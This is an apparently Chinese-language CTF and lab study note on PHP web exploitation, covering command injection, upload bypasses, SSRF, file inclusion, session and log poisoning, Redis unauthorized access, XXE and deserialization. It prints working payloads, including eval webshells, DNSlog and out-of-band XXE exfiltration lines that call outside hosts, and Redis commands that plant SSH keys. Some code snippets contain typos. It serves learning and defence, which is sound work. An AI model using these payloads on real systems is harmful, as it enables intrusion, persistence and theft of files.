我们知道单引号的绕过可以通过闭合和注释,但是如果php中开启了GPC就无法闭合,因为magic_quotes_gpc可以

1
'变成\'

也就是转义单引号,使其仅仅成为字符串。

在php5.4开始取消了这一项,也就是默认关闭,我们可以用

1
$aa = stripslashes($_GET['a']);

这个函数会对单引号之类的进行转义。

1
preg_replace("/abc/e", $REQUEST['a'], "abcd");

/e表示可以将中间的$REQUEST部分内容,当成代码执行,很危险!函数会将abc替换成我们输入的部分。php7中不存在/e

看一个更难的

1
2
3
$cmd = $GET_['a'];
preg_replace('/<data>(.*)</\data>/e', '$ret = "\\1";', $cmd);
echo $ret;

单引号不识别相关变量,双引号识别相关变量。

下面是函数执行

1
2
3
4
5
6
create_function(sring args, string code)
<?php
//?cmd = phpinfo();
$func = create_function('', $REQUEST['cmd']);
$func();
?>

或者下面动态函数

1
2
3
4
<?php
$_GET['a']($_GET['b']);
?>
直接上传a=assert&b=phpinfo();

下面用户自定义函数回调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
先判断函数是否可以回调
echo is_callable('assert');
assert可以回调,echo 不可以回调
call_user_func(函数(string),参数(一个数即可))
call_user_func_array(函数(string),参数(数组))
<?php
@call_user_func('assert', $GET['cmd']);
?>

如果是数组:
$cmd = $_GET['cmd'];
$array[0] = $cmd;
call_user_func_array("assert", $array);
或者
$cmd = $_GET['cmd'];
call_user_func_array("assert", $cmd);//此时我们传参的时候传入数组即可
访问?cmd[]=phpinfo();

再来看与其相似的函数,只不过参数位置调换了一下

1
2
3
4
5
6
7
8
9
array_filter(array $array, func)将array数组中每个值传递到callback函数,如果函数返回truearray数组当前的值会被包含在结果数组中,键名不变。

$cmd = $_GET['cmd'];
$array1 = array($cmd);//把传参变为数组
$func = $_GET['func'];
array_filter($array1, $func);//函数需要我们传参进来

可以访问?func=system&cmd=whoami
或者用array_map(回调函数,数组)

exec函数

1
2
3
4
5
6
exec(command, array output(optional))
如果提供output,则用输出填充此数组,如果数组中包含部分元素,那么会追加在后面,不包含空白字符。可以在执行exec之前用unset()进行重制
$cmd = $_GET['cmd'];
exec($cmd, $result);
var_dump($result);
即可打印出结果

shell_exec函数

1
2
shell_exec(string $cmd)
通过shell环境执行命令,返回执行结果。

passthru函数

1
2
passthru(string $cmd, int $return_var(optional))
执行外部程序并显示原始输出,没有返回值,即错误情况不回显。

反引号``

1
与shell_exec效果相同

防御函数

1
2
3
1.escapeshellarg()把传入shell作为参数的字符串中的单引号转义,防止注入恶意命令。此时输入的就是纯纯的字符串了。
2.escapeshellcmd()将大部分字符都转义比如&#;`|${}[]()等等,使得注入很困难!
所以可以在输入的地方加入这个函数,进行一个转义,作为防御。

也可以用addslashes()对单双引号进行转义。

命令执行分类

分为有回显和无回显。

下面如果无回显我们看如何判断

延时执行

1
ls -alh | sleep 3

或者

1
2
shell_exec($GET_['cmd']);
访问?cmd=curl ip:80

然后监听服务端,如果发现请求,那么说明执行了系统命令!说明存在执行漏洞。

或者

DNS请求

1
2
shell_exec($_GET['cmd']);
访问?cmd=ping xxx.aaa.dnslog.cn

下面来一道实验练习题

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
include('flag.php');
$cmd = 'ping -c 3'.$_GET['a'];
echo $cmd;
shell_exec($cmd);
?>

我们要通过注入,读取flag,php

1
2
3
poc
?a=;cp flag.php flag.txt
然后访问/flag,txt即可

但是如果cp没有权限,就无法使用上述poc。

1
2
构造新poc
?a=`cat flag.php | sed s/[[:space:]]//g`.vo36hq.dnslog.cn

这里主要是拼接dnslog的域名进行一个dns解析,在解析时,就拿到了我们想要执行命令获取的内容!因为要解析,所以要把要读取内容的空格去掉!用sed命令!

简介:

1
2
3
4
5
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0
将 IP 前面的部分予以删除:

$ /sbin/ifconfig eth0 | grep 'inet addr' | sed 's/^.*addr://g'
192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0

双斜线的部分,两斜线中间代表替换为空格,s/代表替换模式,/g代表全局替换。

但是由于我们读取php文件,有一些特殊符号,现在ping命令不能读取他特殊符号,所以用一下poc

1
?a=``cat flag.php | sed s/[[:space:]]//g | tr "<|?|>|{|}|;|=" "0"`.vo36.dnslog.cn

也就是采用tr函数,将特殊符号全换成0。

倒叙执行(防止长度限制)

1
2
3
4
5
6
7
8
9
10
11
12
13
w是用来查看tty信息的,我们可以这样操作,将代码执行倒序,且分块。
比如w>1代表将w查看的内容输入到1文件中,如果没有1文件那就创建一个1文件
w>hp
w>1.p\\
w>d>\\
w>\ -\\
w>e64\\
w>bas\\
w>==|\\
w>0pOw\\....等等都是base64编码了,拼出来是。。。。|base64 -d > 1.php

ls -t > shell
sh shell运行命令

我们再来举个例子

1
2
3
4
5
6
7
8
9
w>($_POST[1]);我们在终端执行写入的时候记得转义所有看起来需要转义的符号,否则会报错。
或直接写入字符串为文件名的文件,即
w>'($_POST[1]);'
和刚才写出来的文件名相同。
w>'eval'
w>'<?php'
ls -t > 1.php
这样就拼凑出了一个一句话木马!
这样可以随意绕过长度限制!

对于数字和字母的过滤,可以采用异或运算来代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a = '-~@#$%^&*_+|/?.,<>`-={}[]';
for($i = 0;$i < strlen($a);$i++)
{
for($j = 0;$j < strlen($a);$j++)
{
if(ord($a[$i] ^ $a[$j]) > 64 && ord($a[$i] ^ $a[$j]) < 91)
{
echo $a[$i].' xor '.$a[$j].' is ';
echo chr(ord($a[$i] ^ $a[$j])).' ';
echo ord($a[$i] ^ $a[$j]);
echo "\n";
}
}
}
?>php异或生成代码
1
2
3
4
5
6
7
8
9
10
11
[ xor < is g 103
[ xor > is e 101
[ xor / is t 116
{ xor = is F 70
, xor @ is l 108
如此找到我们要执行的字母的异或组合。
然后payload
echo '[[[{,'^'<>/=@'即左边的合起来异或右边的
我们在php -a也就是交互模式下就可以执行,并看到回显。
比如如果题目中getfl是一个函数,那我们就要如此执行
?code=$a='[[[{,'^'<>/=@';$a();即可!

前端绕过(文件上传)

可以禁用js,可以在数据包上传时抓包,然后改回php,这样跳过了浏览的检查。

绕过(MIME(multipurpose internet mail extensions多用途互联网邮件扩展类型)检查)

注意这个是后端检查,所以只要上传的文件是1.php,通过抓包改成php肯定也不能通过,因为检查在后端。如果是MIME检查,我们就上传后,文件名不变,就是1.php,但是将MIME格式修改,改为其允许的格式,比如image/jpeg。

黑名单检测

1
2
windows下 httpd.conf
AddType application/x-httpd-php .php .php3 .php4 .php5 .php7 .pht .phtml

然后有关于以上后缀名的正则表达式。如果文件后缀名匹配到正则表达式,那么使用php解析。如果服务器基于黑名单检测,又对以上后缀没有完全限制,则用以上后缀名可以绕过。

(其实我们只需要在burpsuite对上述文件名进行一个爆破即可,看回显长度!)

白名单检测

只有上传符合白名单的文件类型,才能上传成功。比如只能上传jpg,我们把一句话木马改为图片,然后上传!加载图片作为php木马执行。连接菜刀时采用文件包含办法,也就是通过传参,触发文件包含。

magic header检查

也就是可以获取文件的16进制进行检查,所以我们要伪造文件头。

1
GIF89a<?php eval($_POST['a']);

上传时上传1.php即可,因为其通过文件头判断文件,而不是文件名。

竞争上传

代码逻辑:先进行上传,然后服务器保存之后会做判断,如果不对劲会进行删除,我们利用此时间差来操作。

1
2
网站逻辑:允许上传任意文件,然后检查文件是否包含webshell如果包含就删除,如果不是指定类型就进行unlink。

我们要在删除之前访问上传的php,从而执行文件中的php代码。

1
2
5.php
<?php fputs(fopen('shell.php','w'), '<?php @eval($_POST['a']);?>');?>

即通过上传一个文件,写入另一个新文件!

然后记得一直访问5.php,采用快速暴力破解的方式来访问,使其不断执行,一定能将shell写入。

SSRF服务器请求伪造

很多web程序提供从其他服务器获取数据的功能,可以根据用户提交的URL访问对应资源(下载文件等)如果该功能作为代理隧道取=去访问本地或远程服务器,这就是所谓的SSRF。

1
2
3
4
可以探测内网信息,端口扫描。
对内网进行安全测试,比如structs2,sql等
读取内网文件file协议
php环境搭建expect扩展可能被命令执行。

ssrf常用函数

1
2
file_get_contents()文件读入字符串,除了本地还可以读取远程文件
file_get_contents('http://www.baidu.com/index.php')

举个例子

1
2
3
$content = file_get_contents($url);
echo $content;
我们传参?url=http://www.baidu.com/index.php进行内网访问,读取文件

再举个例子

1
2
fsockopen()打开一个网络或建立一个unix套接字
获取指定url中的数据,会使用socket与服务器建立tcp连接,传输原始数据。

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
function getFile($host,$port,$link)
{
$fp=fsockopen($host,intval($port),$errno,$errstr,30);
if(!$fp)
{
echo "$errstr(error number $errno)\n";
}
else
{
$out="GET $link HTTP/1.1\r\n";
$out.="Host: $host\r\n";
$out.=Connection: Close\r\n\r\n;
$out.="\r\n";
fwrite($fp,$out);#写入对方主机一些请求
$contents='';#获得相应内容
while(!feof($fp))#只要没发送结束,就一直接受
{
$contents.=fgets($fp,1024);
}
fclose($fp);#关闭连接
return $contents;
}
}
echo getFile($_GET['host'],$GET_['port'],$GET['link']);
?>

传参如下

1
?host=192.168...&port=22&link=/

可以返回对应的端口状态!相当于端口扫描。

curl函数

php支持libcurl库,能够连接各种通讯服务器,使用各种协议。

ssrf漏洞代码

1
2
3
4
5
6
7
<?php
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$_GET['url']);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_exec($ch);
curl_close($ch);
?>

然后传参访问相关内网url。

ssrf限制绕过策略

1.比如对ip的限制,一般会用正则表达式,匹配四个数字,我们只需要访问的时候加上端口,就可以绕过匹配。

1
http://127.0.0.1:80

2.或者用短网址生成。

1
打开http://sina.lt网站,输入我们要访问的网址即可生成短网址。

3.还可以用xip.io来解析几何到任意ip

1
2
访问http://xip.io可以看到用法
我们访问http://127.0.0.1.xip.io即相当于访问127.0.0.1

4.也可以转换为点分十进制,八进制等等。

或者将点去掉,将其二进制,转换为一个十进制数,直接访问,也可以到先前的目的地。

5.或者采用跳转

1
http://[email protected]

就可以访问后面的

SSRF中可以使用的协议

包括file, dict, gopher

file协议

1
file://文件路径

文件路径可以进行转义(加斜杠),也可以不用转义

dict协议的使用

1
dict://serverip:port/info可以探测端口开放情况和指纹信息。

没有输出就是没有端口没有开放!

gopher协议

1
使用tcp70端口,进行信息检索,查找任何信息,既可以发送get请求,也可以发送post请求。

我们使用curl客户端进行gopher数据包发送。

1
curl gopher://IP端口/_数据

比如

1
curl gopher://127.0.0.1:80/_GET%20/ssrf....

注意_后面先跟请求方法,然后是整个数据包(必须有请求头第一行和HOST部分,Content-Type,Content-Length),可以通过burpsuite抓取并复制,在请求头和请求数据之间要空两行,也就是要有两个%0d%0a。并且在整个包末尾还要加上%0d%0a

必须要加80端口,否则会送到70端口。

文件包含漏洞

1
php文件包含漏洞发生在通过php函数引入文件时,由于研发人员疏忽,传入的文件名没有经过合理校验,导致操作意向之外的文件,或执行恶意脚本。

1.本地文件包含(LFI)

引入服务端本地文件

2.远程文件包含(RFI)

引入其他服务器文件。

用于文件包含的函数

1.include函数

2.include_once函数(检查是否已经包含,如果已经包含就不再包含)

3.require如果包含文件存在错误,会终止脚本。

4.reuquire_once

5.spl_autoload

文件包含漏洞前提

1
2
3
phpini中开启
allow_url_fopen=on
allow_url_include=on

环境代码示例

1
2
3
4
5
6
7
8
9
10
11
<?php
$file = $_GET['file'];
if(empty($file))
{
echo "no file include";
}
else
{
include($file);
}
?>

远程文件包含利用http,https,ftp等协议,获取webshell,并使antsword。

可以用远程地址包含本地文件

1
http://127.0.0.1/index.php?url=http://192.168.1.1/1.php

然后可以在1.php中写一个写shell的文件,

1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"]);?>');?>

我们也可以包含1.txt,在其中的上述语句也能得到执行!

然后shell连接。

伪协议利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
file://本地
http://访问网址
ftp://访问ftp服务器
php://访问各个输入输出流(I/O STREAMS)
比如
php://stdin, php://stdout和php://stderr
php://input
php://output
php://memory和php//temp
php://filter/read=convert.base64-encode/resource=

除此之外:
zlib://压缩流
data://数据流
glob://查找匹配的文件路径模式
phar://php归档
ssh2://secure shell 2
rar://
ogg://音频流
expect://处理交互式的流

伪协议phar zip利用

实验代码:只允许上传zip文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$uploaddir = 'uploads/';
if(isset($_POST['submit']))
{
if(file_exists($uploaddir))
{
$allow_ext = array('.zip');//建立白名单。
$file_ext = strrchr($_FILES['upfile']['name'], '.');
if(in_array($file_ext, $allow_ext))
{
if(move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name']))
{
echo "文件上传成功,保存于:" . $uploaddir . $_FILES['upfile']['name'] . "\n";
}
}
else
{
echo "此文件不让上传。" . "\n";
}
}
else
{
exit($uploaddir . "文件夹不存在!");
}
}
?>

文件包含漏洞代码

1
2
3
4
5
<?php
$file = $_GET['file'];
include($file . '.php');
echo $file . '.php';
?>

我们创建一个phpinfo文件,然后把其压缩为phpinfo.zip,然后执行如下

1
?file=zip://phpinfo.zip%23phpinfo

注意一定是百分号23这样才能正确解析!右边是压缩包里面的文件。这样就可以提取并执行了

zip协议识别压缩包是看文件头,所以我们可以把zip改成任意后缀名,替换也可以解析!

如果是phar

1
?file=phar://phpinfo.zip/phpinfo

不过在比赛中常常把后缀名定位jpg。

1
2
3
4
<?php
$file = $_GET['file'];
include($file . '.jpg');
?>

此时我们就把phpinfo改为jpg后缀然后再压缩上传,然后再用

1
2
?file=zip://phpinfo.zip%23phpinfo
?file=phar://phpinfo.zip/phpinfo

都可以访问。

日志文件利用

1
修改httpd配置文件中的配置CustomLog "logs/access.log" common

即可开启日志记录。我们提交的所有请求都会被记录到log当中。日志保存结果为url编码后内容。比如<为%3c即无法作为PHP执行。

首先访问

1
?abc=<?php+phpinfo();?>

让其进入日志!注意在上传时抓个包,将url编码改回去,让原语句进入日志。

然后文件包含漏洞网页传参

1
?file=../../../../../../Extensions\Apache2.4.39\logs/access.log

注意引号方向,这是windows系统。

也可以将木马写入日志!

SESSION会话利用

session文件用于保存状态,存储在服务端。

php session文件生成过程

在php中使用session_start()启动session会话记录,然后利用超全局变量$_SESSION数组设置和保存数据。

1
2
3
4
5
<?php
session_start();
$_SESSION['name'] = 'abc';
$_SESSION['age'] = 12;
?>

访问该页面即可生成session文件,文件路径可以通过phpinfo输出的路径信息查找。

打开后发现类似序列化内容。

SESSION实验

前提:没有文件上传功能,并且日志文件设置权限不能读取。

环境:php7.2以上

实验代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$_ = $_GET['a'];
if(empty($_))
{
highlight_file(__FILE__);
}
else
{
include($_);
}
?>

因为日志也不能读取,所以只能采用session。

我们可以采用以下方法保存指定session名称的会话文件。

1
curl -x http://127.0.0.1:8080 http://192.168....../test.php -H "Cookie:PHPSESSID=abcdef" -F "PHP_SESSION_UPLOAD_PROGRESS=iamabc" -F "file=@/etc/passwd"

通过一个代理,8080端口,当然这个代理部分可以去掉,最后-F 表示上传文件,因为session开启了上传功能,@表示读取本地文件,这里是linux系统。

执行上述命令后会生成sess_abcdef文件,正好为我们指定的名称。

但是我们打开session文件发现并没有内容,因为我们开启了

session.upload_progress.cleanup On

也就是马上清除状态。可以考虑竞争上传然后读取。

这里采用爆破上传,也就是采用burpsuite代理抓到的数据包的intuder模块,进行快速爆破式上传。然后在终端一直查看。

截屏2022-08-24 01.29.26

我们发现我们可以控制文件内容,这里的iamabc即为PHP_SESSION_UPLOAD_PROGRESS=iamabc,所以我们开始用文件包含。

修改PHP_SESSION_UPLOAD_PROGRESS

1
PHP_SESSION_UPLOAD_PROGRESS=<?php fputs(fopen('shell.php','w'), '<?php @eval($_POST['cmd']);?>');?>

即写入webshell到站点目录。

写入的时候,进行爆破式写入。与此同时,进行爆破式访问,因为session文件写入后随即被删除!所以两个爆破同时进行。

REDIS未授权访问漏洞利用与防御

1
redis是一种键值方式的高效数据库。可以将数据保存到内存中。可以将内存的数据写入到磁盘当中。

可能因配置不当,进行未授权访问。默认绑定0.0.0.0:6379并且未开启认证!并且0.0.0.0将其暴露在公网当中,直接去访问6379端口。

我们下载redis后,安装配置,打开配置文件

1
2
3
4
vim redis.conf
(1)将bind 127.0.0.1加上#表示不绑定本地访问。
(2)protected-mode保护模式设置为no
用于靶场试验。

加载配置文件启动redis服务

1
2
cd src
redis-server ../redis.conf

开启后可以用netstat进行查看

1
netstat -panut

上述命令可以查看现在监听网络端口和建立的连接。

或者用nmap

1
nmap -A -p 6379 --script redis-info 192.168.0.107

redis客户端连接服务器

1
redis-cli --help

截屏2022-08-24 15.03.38

然后redis写入文件

1
config set dir /var/www/html

查看当前所在目录

1
2
3
172.17.10.4:6379> config get dir
1) "dir"
2) "/var/www/html"

写入文件注意写入时至少两个换行。

1
set x "\n\n\n<?php phpinfo();?>\n\n\n"

也可以写入一句话木马。

1
2
172.17.10.4:6379> set xxx "\n\n\n<?php @eval($_POST['a']);?>\n\n\n"
OK

然后把我们写入的内容存到一个文件

1
config set dbfilename webshell.php

然后保存

1
save

注意!保存的目录要有读写可操作权限!

截屏2022-08-24 15.20.29

然后查看文件

截屏2022-08-24 15.21.16

redis漏洞防御-增加密码认证

在requirepass 字段后添加我们的密码

开启密码认证后,重启redis然后登陆redis

1
auth mypassword

即可认证登陆。

然后绑定内网ip地址,拒绝外网访问。

redis未授权添加ssh密钥

先用nmap探测6379是否开启。

1
nmap -p 6379 ip

2.测试redis服务是否存在未授权访问。

1
redis-cli -h ip

3.ssh密钥对生成

1
2
3
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > public.txt

4.redis未授权漏洞利用 上传密钥

1
2
3
4
5
cat public.txt | redis-cli -h 192.168... -x set x
即将id_rsa.pub的内容(公钥)上传到文件里面,所以我们应该设置文件名
redis-cli -h 192... config set dir "/home/user/.ssh/"
redis-cli -h 192... config set dbfilename authorized_keys
redis-cli -h 192... save

认证时,用私钥加密一段话,并且和消息一起发过去,服务端用公钥解密,对比原话相同即可。

将ssh密钥保存到服务器之后,开始通过ssh连接服务器即可getshell。

1
ssh -l username -p port -i id_rsa ip

用以上格式语句即可连接,为什么要指定port呢,因为ssh端口22很可能没有打开,而其他端口也可能支持ssh连接。

连接之后想办法提权,去exploit-db上面搜索提权脚本。

xxe注入安全(xml外部实体注入漏洞)

即应用程序解析xml输入时,没有禁止外部实体的加载,导致可以加载恶意外部文件造成文件读取和命令执行等。漏洞触发在可以上传xml文件的位置。

xml基础(extensible markup language)用来传输和存储数据

没有预定义标签,可以自定义标签!

语法规则

1.标签必须闭合。

2.标签对大小写敏感。

3.必须正确的嵌套。(即闭合顺序要对)

4.xml文档必须有根元素。即标签都是从

1
2
<root>开始
</root>结束

当然root可以由自己命名。

5.xml属性值必须加符号。比如

1
date="08/08/2002"

有五个预定义的实体引用,为了避免符号重复,大于小于,单引号双引号和&都有对应的实体替换,记得查表。

xml中注释和html中基本相同

1
<!--  slssjskjsk -->

xml中不会合并空格,即空格会被保留。

下面是xml文档结构

截屏2022-08-24 17.04.46

DTD文档类型定义

既可以在xml文档中定义,也可以在外部引用。

内部声明

1
<DOCTYPE 根元素 [元素声明]>其实就是对你要用的标签的一个声明!

此处不多说,见XXE漏洞原理文章。

DTD-实体定义

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

内部声明

1
<!ENTITY 实体名称 “实体的值”>

比如

1
<!ENTITY writer "Bill Gates">

上面是定义,下面看引用

1
<author>&writer;</author>

即完成了引用。

实体定义和文档类型定义放到一起。都在

1
<DOCTYPE>里面

外部声明

导入dtd文件

1
<!ENTITY writer SYSTEM "URL">

所以我们可以用此url进行文件包含。

浏览器并不能解析,但是基于php可以,如下:

1
2
3
4
5
6
7
8
<?php
$data = file_get_contents('php://input');//接受post提交数据
$xml = simplexml_load_file($data);
foreach($xml as $key=>$value)
{
echo "key: " . $key . "value: " . $value . "<br>";
}
?>

在访问此php后,抓包用post传参,传入我们注入的xxe实体,将其包含flag等文件即可。

截屏2022-08-24 17.35.17

XML盲注技巧

实体参数的声明和引用都是以%开头。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE a[
<!ELEMENT a (b)>
<!ENTITY % c "<ENTITY d 'abcd'>">
%c;
]>
//完成对d的声明
<a>
<b>&d;</b>
</a>
输出abcd

下面来高级外部引用

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE a[
<!ELEMENT b ANY>
<!ENTITY % evil SYSTEM "file://...">//此处也可以用php伪协议读取。(php://filter/read=convert.base64-encode/resource=file///)
<!ENTITY % dtd SYSTEM "192..../Payload.dtd">
%dtd;
]>
//在payload.dtd中我们放入以下代码来执行内部文件读取
<!ENTITY %all "<!ENTITY send SYSTEM 'http://192.../?abc=%evil;'>">
%all;
然后就可以在引入dtd文件时,执行file协议。
在输入时执行&send;即可!

PHP序列化安全

序列化:将复杂数据结构object转化为byte字节存储。反序列化反之。

序列化实验代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Site {
public $name = 'ctf';
public function get_name()//函数不会被序列化输出,只有字符串
{
echo $name;
echo md5('admin');
}
}
$s1 = new Site();
$s = serialize($s1);
echo $s;
$obj = unserialize($s);
$obj->get_name();
?>

可以看到序列化和反序列化回显。

1
unserialize()会检查是否存在一个__wakeup()方法,存在则会先调用,预先准备对象需要的资源。

实验代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$data = file_get_contents("php://input");
class Site
{
public $name = 'ctf';
public function __wakeup()
{
echo md5('123456');
}
}
$obj = unserialize($data);//要解此题,要获取序列化代码,然后进行反序列化
?>

下面编写序列化代码并获取序列化字符串

1
2
3
4
5
6
7
8
9
<?php
class Site
{
public $name = 'ctf';
}

$s1 = new Site();
echo serialize($s1);
?>

可以看到回显

image-20220830111751487

PHP反序列化识别与利用

反序列化识别根本在于HTTP请求是否存在序列化字符串。

1
burpsuite可以自动识别HTTP请求中存在的序列化字符串。

先用burpsuite抓包,然后在target的http请求中右键开始扫描。

反序列化用户认证绕过

不安全的反序列化实验代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class User
{
public $name = 'ctf';
public $isAdmin = false;
}

$user = unserialize($_POST['flag']);
if($user->isAdmin === true)
{
echo "flag{". md5('admin888')."}";
}
else
{
echo 'no flag.';
}

?>

显然我们传入post参数,反序列化时触发漏洞。

还是要先生成序列化代码

1
2
3
4
5
6
7
8
9
10
<?php
class User
{
public $name = 'ctf';
public $isAdmin = false;
}
$user = new User();
echo serialize($user);
?>
//O:4:"User":2:{s:4:"name";s:3:"ctf";s:7:"isAdmin";b:0;}

所以我们在传参的时候把0改为1即可!

image-20220830113759743

显然这样触发了漏洞。

PHP序列化特殊点介绍

在定义类时,对象的属性可以设置访问限制,通过public,protected, private进行设置权限。

对象中的属性修饰符

在php代码中,定义user类,设置属性具有protected和private属性。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class User
{
protected $name = 'ctf';
private $isAdmin = true;
}
$user = new User();
echo serialize($user);
?>
//回显为O:4:"User":2:{s:7:"*name";s:3:"ctf";s:13:"UserisAdmin";b:1;}
我们注意到*name被标记成了7但是长度其实并不是7,因为在*左右各有一个不可见字符\x00。
同样在后面的User和isAdmin之间有一个不可见字符,User前面有一个不可见字符\x00,专门用来标识User类的变量。

image-20220910105355064

可以看到回显。

不过protected和private还是有区别的,前者会加\x00*\x00后者会加上\x00类名\x00来修饰变量!

序列化字符串中的+号

先来看题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class ctf
{
public $flag;
function __toString()
{
if(isset($this->flag))
{
$filename = "./{$this->flag}";
if(file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}

if(isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i', $data, $matches);//将匹配到的内容放到matches
if(count($matches))
{
die("no flag!");
}
else
{
$c = unserialize($data);
echo $c;
}
}
else
{
highlight_file(__FILE__);
}
?>

显然,我们让data为flag.php然后提交序列化字符串即可。但是反序列化时又显然会被正则表达式匹配到,简直无解。

先来序列化一下类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class ctf
{
public $flag;
function __toString()
{
if(isset($this->flag))
{
$filename = "./{$this->flag}";
if(file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$a = new ctf();
$a->flag = 'flag.php';
echo serialize($a);

?>
//O:3:"ctf":1:{s:4:"flag";s:8:"flag.php";}
我们可以在数字前面加个加号
//O:+3:"ctf":1:{s:4:"flag";s:8:"flag.php";}
然后再将加号url编码即可
//?data=O:%2b3:"ctf":1:{s:4:"flag";s:10:"./flag.php";}

PHP序列化魔术方法

1
2
3
4
__construct():类的构造函数
__destruct():程序结束时会销毁对象,执行此函数
__wakeup():执行unserialize()时会先调用这个函数
__toString()类被当作字符串时回应的方法

下面可以用个脚本实验一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class user
{
public $flag = 'abc';
function __construct()
{
echo "__construct is running<br>";
}
function __destruct()
{
echo "__destruct is running<br>";
}
function __wakeup()
{
echo "__wakeup is running<br>";
}
function __toString()
{
echo "__toString is running<br>";
return " ";
}
}

$u1 = new user();
$s = serialize($u1);
echo $s . "<br>";//执行__toString,执行__wakeup
$o = unserialize($s);//执行destruct
echo $o;//执行destruct
?>

序列化漏洞72663(php版本5.6.24)

当属性个数大于{}中的属性个数时,在unserialize时,不执行__wakeup()。

1
O:4:"User":1:{s:4:"flag";s:3:"abc";}//也就是外面标注只有一个属性,实际上里面有两个

下面看实验代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Test
{
public $flag= 'abc';

function __wakeup()
{
$this->flag = '123';
}
function __toString()
{
echo "__toString is running";
return " ";
}
}

$s = "O:4:'Test':2:{s:4:'flag'\;s:3:'abc'\;}";//此处不对劲,应该用连接符点。就不报错了
$o = unserialize($s);
echo $o;
echo $o->flag;

此时因为外面标注属性大于实际属性值,所以不执行wakeup。